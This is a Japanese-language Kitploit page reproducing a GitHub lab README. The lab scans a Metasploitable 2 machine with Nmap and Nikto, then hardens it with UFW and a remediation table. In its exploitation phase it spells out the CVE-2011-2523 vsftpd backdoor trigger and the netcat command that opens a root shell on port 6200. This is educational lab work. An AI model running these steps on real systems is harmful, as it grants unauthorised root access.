Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
network-security-lab — 管理された仮想攻防ラボ — CVE-2011-2523 エクスプロイト、Nmap 偵察、Nikto スキャン、Metasploitable 2 上での UFW ハードニング | Kitploit
ツール/GitHubGitHub/amirmuhammadmarvi/network-security-lab
偵察脆弱性スキャナー脆弱性分析エクスプロイト構成監査ウェブセキュリティネットワークセキュリティペネトレーションテスト学習と教育

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ラボと実践
GitHubamirmuhammadmarvi/network-security-lab

network-security-lab

管理された仮想攻防ラボ — CVE-2011-2523 エクスプロイト、Nmap 偵察、Nikto スキャン、Metasploitable 2 上での UFW ハードニング

リポジトリを見る
2ヶ月前未レビュー

🔬 ネットワークセキュリティラボ

実際の攻撃・防御シナリオをシミュレートする制御済み仮想環境

Python Platform CVE Status


📋 概要

このラボは、完全に隔離された仮想環境において、実際のペネトレーションテストと防御強化演習をシミュレートします。偵察から悪用に至るまでの攻撃セキュリティライフサイクルと、各リスクを軽減する防御制御を実証します。

主な成果: 既知のバックドアを悪用し、資格情報や特別なツールを使用せずに、60秒未満で対象マシンの完全なrootアクセスを達成しました。


🏗 ラボ環境

コンポーネント詳細
ハイパーバイザーVMware Workstation
ネットワークHost-Only / NAT(完全隔離)
攻撃側OSUbuntu 24 LTS
対象OSMetasploitable 2(Linux 2.6.x)
攻撃側IP192.168.148.255
対象IP192.168.148.130

🎯 手法

root@kitploit:~
偵察  →  スキャン  →  悪用  →  防御と強化

🔍 フェーズ1 — 偵察

Nmapによるポートスキャン

root@kitploit:~
sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

主な発見 — 合計23のオープンポート:

NiktoによるWebスキャン

root@kitploit:~
nikto -h http://192.168.148.130 -o nikto_before.txt

18の脆弱性を発見(以下を含む):

  • phpMyAdminが公開されている
  • phpinfo.phpがサーバー設定全体を漏洩
  • HTTP TRACEが有効(XST攻撃)
  • /doc/、/test/でディレクトリインデックスが有効
  • 旧バージョンのApache 2.2.8とPHP 5.2.4

💥 フェーズ2 — 悪用

CVE-2011-2523 — vsftpd 2.3.4 バックドア

vsftpd 2.3.4には、サプライチェーン侵害により導入されたバックドアが存在します。:) で終わるユーザー名を送信すると、サーバーはポート 6200 にrootシェルを開きます。

root@kitploit:~
# ステップ1 — FTP経由でバックドアをトリガー
ftp 192.168.148.130
# ユーザー名: backdoor:)   パスワード: 任意

# ステップ2 — 生成されたシェルに接続
nc 192.168.148.130 6200

# ステップ3 — アクセスを確認
whoami
# → root

結果: 資格情報も悪用フレームワークも不要で、60秒未満で完全なrootレベルのシステムアクセスを達成。

影響: rootアクセスを得た攻撃者は、任意のファイルの読み取り/変更/削除、マルウェアのインストール、データの窃取、ネットワーク上の他のホストへの横断移動が可能。


🛡 フェーズ3 — 防御と強化

UFWファイアウォール — デフォルト拒否ポリシー

root@kitploit:~
sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # SSHのみ
sudo ufw status verbose

推奨される是正措置


📄 完全なレポート

完全な評価については、report.md を参照してください — 手法全体、コマンド出力、発見事項テーブル、悪用手順、およびすべての是正推奨事項が含まれています。


⚠️ 法的免責事項

このラボは、意図的に脆弱なソフトウェア(Metasploitable 2)を使用し、完全に隔離された仮想環境で実施されました。すべての手法は教育およびポートフォリオ目的のみです。自分が所有していない、または明示的な書面によるテスト許可を得ていないシステムで再現しないでください。


🛠 使用ツール


著者: Amir Mohammad Marwi

ポートフォリオ LinkedIn GitHub

ツールをダウンロード
ポートサービスバージョンリスク
21FTPvsftpd 2.3.4🔴 緊急 — 既知のバックドア(CVE-2011-2523)
22SSHOpenSSH 4.7p1🟡 中 — 旧バージョン
23TelnetLinux telnetd🟠 高 — 平文プロトコル
80HTTPApache 2.2.8🟠 高 — 複数のCVE
1524BindshellRootシェル🔴 緊急 — オープンルートシェル
3306MySQL5.0.51a🟠 高 — データベース露出
5900VNCProtocol 3.3🟠 高 — 脆弱な認証
6667IRCUnrealIRCd🔴 緊急 — 既知のバックドア
脆弱性修正
vsftpd 2.3.4 バックドアvsftpd 3.x にアップグレード、またはSFTPに移行
オープンルートシェル(ポート1524)直ちに無効化し、インストールを監査
Telnet(ポート23)無効化 — SSHのみを強制
phpMyAdminが露出IPで制限、強力な認証を要求
MySQLが露出(ポート3306)localhostにバインド、外部アクセスをブロック
VNCが露出(ポート5900)IPで制限、または無効化
ディレクトリインデックスApache: Options -Indexes
HTTP TRACEApache: TraceEnable off
旧バージョンのApache + PHPサポートされているLTSバージョンにアップグレード
ツール目的
Nmapポートスキャンとサービス検出
NiktoWeb脆弱性スキャン
Netcatバックドアシェルへの接続
UFWホストベースのファイアウォール設定
FTPクライアントvsftpdバックドアのトリガー
VMware Workstationラボ仮想化